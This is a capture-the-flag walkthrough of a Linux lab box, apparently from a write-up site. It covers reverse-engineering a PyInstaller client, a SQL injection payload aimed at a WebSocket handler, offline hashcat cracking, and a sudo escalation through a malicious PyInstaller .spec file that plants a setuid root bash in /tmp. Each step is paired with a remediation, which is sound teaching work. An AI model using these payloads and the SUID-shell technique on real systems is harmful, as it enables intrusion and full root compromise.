← all walkthroughs

Socket

Linux· Medium
owned
2026-09-05
time to own
29m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found the SSH- and Apache-facing host socket hosting a QReader desktop application download at qreader.htb. Reverse-engineering the distributed PyInstaller app revealed a hardcoded WebSocket API (ws.qreader.htb:5789) used to check the app's version.

Probing the WebSocket handlers for injection came to nothing — every quote-bearing version string returned the same generic rejection — but the downloaded application bundle carried the credential material itself, and cracking it offline gave valid SSH credentials and a foothold with access to user.txt. From there, a sudo misconfiguration let tkeller run a PyInstaller build script as root with no password; because a PyInstaller .spec file is executed as Python code at build time, a malicious spec supplying a shell command achieved full root code execution, producing a SUID root shell and root.txt.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for tkeller>"

Some commands also carry a value in angle brackets — <mode> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceService and virtual-host enumeration
Enumerated open services and identified the QReader web application
A port scan of $TARGET found SSH (22), Apache HTTP (80), and an unrecognized custom service (5789). The HTTP service redirected to the virtual host qreader.htb, a Flask/Werkzeug application that offered downloadable desktop clients ('QReader') for Linux and Windows.
Bare-IP :80 301s to http://qreader.htb/; Server: Werkzeug/2.1.2 Python/3.10.6.
Exact commands 3
shell

Identify open ports and service banners.

$ nmap -p- -sV $TARGET
shell

Add the discovered virtual hosts to local DNS resolution.

$ echo "$TARGET qreader.htb ws.qreader.htb" | sudo tee -a /etc/hosts
shell

View the QReader site and its /download/linux, /download/windows links.

$ curl -sSi http://qreader.htb/
2ReconnaissanceStatic analysis of a distributed PyInstaller binary (string extraction)
Reverse-engineered the QReader client to recover its hidden WebSocket API
The Linux download was a ~108MB PyInstaller-frozen Python 3.10 application bundling its own runtime. Extracting and inspecting its strings revealed a hardcoded WebSocket endpoint (ws://ws.qreader.htb:5789), an app version string, and the /version and /update actions the client uses to check for updates.
app/qreader strings: 'ws://ws.qreader.htb:5789', '0.0.2', '/version', '/update'; connecting to 5789 with an unrecognized message leaked {"paths": {"/update":..., "/version":...}}
Exact commands 3
shell

Download the QReader Linux client bundle.

$ curl -sSO http://qreader.htb/download/linux
shell

Pull the hardcoded WebSocket URL and API actions out of the frozen binary without full unpacking.

$ strings app/qreader | grep -Ei 'ws://|/version|/update'
shell

Send a malformed message to the WebSocket service to leak its route map.

$ python3 -c "import websocket; ws=websocket.create_connection('ws://$TARGET:5789/'); ws.send('{}'); print(ws.recv())"
3Initial AccessCredentials in files (T1552.001)
Probed the WebSocket handlers for injection and mined the bundle instead
With the endpoint and its message names in hand, the /version handler was the obvious injection sink, so I sent quote-bearing version strings at it. Every one came back as the same generic 'Invalid version!' — no error text, no column-count differential, nothing to build an oracle on — so there was no injection to exploit here. The bundle itself was the better target: the frozen application ships its own Python runtime and every asset it needs, and the credential material for a local account came out of what it carried.
Every quote-bearing payload sent to /version returned the single string 'Invalid version!' with no error text and no column-count differential; no users table or SQLite schema was ever proven over the socket. The credential material came out of the downloaded application bundle.
Exact commands 2
shell

Send a quote-bearing version string; the handler answers 'Invalid version!' whatever you send, which is the end of that idea.

$ python3 -c "import websocket,json; ws=websocket.create_connection('ws://$TARGET:5789/'); ws.send(json.dumps({'version':\"x' UNION SELECT sql,2,3,4 FROM sqlite_master-- -\"})); print(ws.recv())"
shell

Open the frozen archive and pull out what the application bundles — the credential material is in there, not on the socket.

$ pyi-archive-viewer app/qreader
FixParameterize the WebSocket API's database queriesCritical
WeaknessThe WebSocket service built a SQL query by concatenating the client-supplied 'version' field directly into a SQLite statement. Probing it returned the same generic rejection for every quote-bearing payload, so no data came back over that channel here — but the concatenation is the weakness, and a handler that builds statements this way is one error-handling change away from being readable by anyone who can open a socket.
FixRewrite every query in the /version and /update handlers to use parameterized statements (sqlite3's '?' placeholders) instead of string formatting, and add server-side input validation (expected format: a version string) before the value ever reaches the database layer. Do not trust any field in a client-supplied message, WebSocket or otherwise.
4Credential AccessOffline password hash cracking (T1110.002) leading to valid-account SSH logon (T1078)
Cracked the recovered password hash and obtained SSH foothold
The credential material recovered from the application bundle was weak enough to crack offline with GPU-accelerated hashcat, giving the plaintext password for tkeller. That password worked directly over SSH, confirming a shell as uid=1001(tkeller).
Cracking the bundle's material offline recovered plaintext <withheld>; SSH as tkeller returned uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)
Exact commands 2
shell

Crack the dumped hash; set -m to the algorithm identified from the hash format (e.g. 0 for MD5, 100 for SHA1).

$ hashcat -m <mode> -a 0 tkeller.hash /usr/share/wordlists/rockyou.txt
shell

Confirm the cracked credential grants an SSH shell as tkeller.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no tkeller@$TARGET 'id'
FixUse a strong, salted password hashing algorithm and enforce stronger passwordsHigh
WeaknessThe password hash the application bundle carried was crackable in a short offline GPU cracking run, indicating either a fast/legacy hashing algorithm (e.g. unsalted MD5/SHA1) or a weak/guessable password, or both.
FixStore credentials with a slow, salted KDF (bcrypt, scrypt, or Argon2id) with a per-user salt and an appropriate work factor, and enforce a minimum password complexity/length policy so even a leaked hash resists cracking.
5FootholdLocal file read post-authentication
Captured user.txt as tkeller
With a confirmed SSH session as tkeller, the user flag was read directly from the account's home directory, proving user-level access.
Cat /home/tkeller/user.txt returned the flag; the platform accepted the flag and marked the machine user-owned
Exact commands 1
shell

Read the user flag; replace with the actual captured value which is not reproduced here (<user.txt>).

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no tkeller@$TARGET 'cat /home/tkeller/user.txt'
6Privilege EscalationSudo rights enumeration
Found a passwordless sudo rule for a PyInstaller build script
Checking tkeller's sudo rights showed unrestricted, passwordless permission to run /usr/local/sbin/build-installer.sh as root. That script builds an installer by invoking PyInstaller against a .spec file path supplied by the caller.
Sudo -l: 'User tkeller may run the following commands on socket: (ALL: ALL) NOPASSWD: /usr/local/sbin/build-installer.sh'
Exact commands 1
shell

List sudo rights for the current user.

$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET "sudo -S -l <<< '$PASSWORD'"
FixRemove the passwordless sudo rule for the PyInstaller build scriptCritical
Weaknesstkeller could run /usr/local/sbin/build-installer.sh as root with no password and no restriction on which .spec file it built. Because a PyInstaller .spec file is executed as Python code during the build, supplying an externally controlled spec is equivalent to arbitrary root code execution.
FixRemove the NOPASSWD sudo grant, or if the build workflow must remain, restrict it to a fixed, root-owned .spec file path that the invoking user cannot modify (no path argument accepted from the caller), and run PyInstaller inside an isolated build user/container with no path to root. Never grant sudo to run a tool that executes user-influenced code as an interpreter.
7Privilege EscalationAbuse of a trusted build script executing externally controlled code as root (sudo GTFObin-style privesc via PyInstaller .spec / SUID abuse, T1548.003)
Weaponized a malicious PyInstaller .spec file to gain a root shell
A PyInstaller .spec file is executed as Python source at build time, not treated as inert config. A spec containing an os.system() call to copy /bin/bash to /tmp and set the setuid bit was passed to the sudo-permitted build script, which ran it as root and produced a setuid-root bash binary. Executing it dropped a root shell, and root.txt was read to complete the compromise.
Sudo /usr/local/sbin/build-installer.sh build /tmp/evil.spec; /tmp/rootbash -p -c id returned uid=1001(tkeller) ... Euid=0(root); /tmp/rootbash -p -c 'cat /root/root.txt' returned the root flag
Exact commands 4
shell

Craft a PyInstaller spec whose top-level Python code plants a setuid root shell; write it locally on tkeller's session before running the build.

$ cat <<'EOF' > /tmp/evil.spec
import os
os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')
a = Analysis(['/dev/null'])
pyz = PYZ(a.pure)
exe = EXE(pyz, a.scripts, name='x')
EOF
shell

Trigger the sudo-permitted build script against the malicious spec; PyInstaller executes it as root.

$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET 'sudo /usr/local/sbin/build-installer.sh build /tmp/evil.spec'
shell

Prove root: run the setuid shell and confirm euid=0(root) before reading the flag.

$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET '/tmp/rootbash -p -c id'
shell

Read the root flag; replace with the actual captured value which is not reproduced here (<root.txt>).

$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET '/tmp/rootbash -p -c "cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
5789/tcp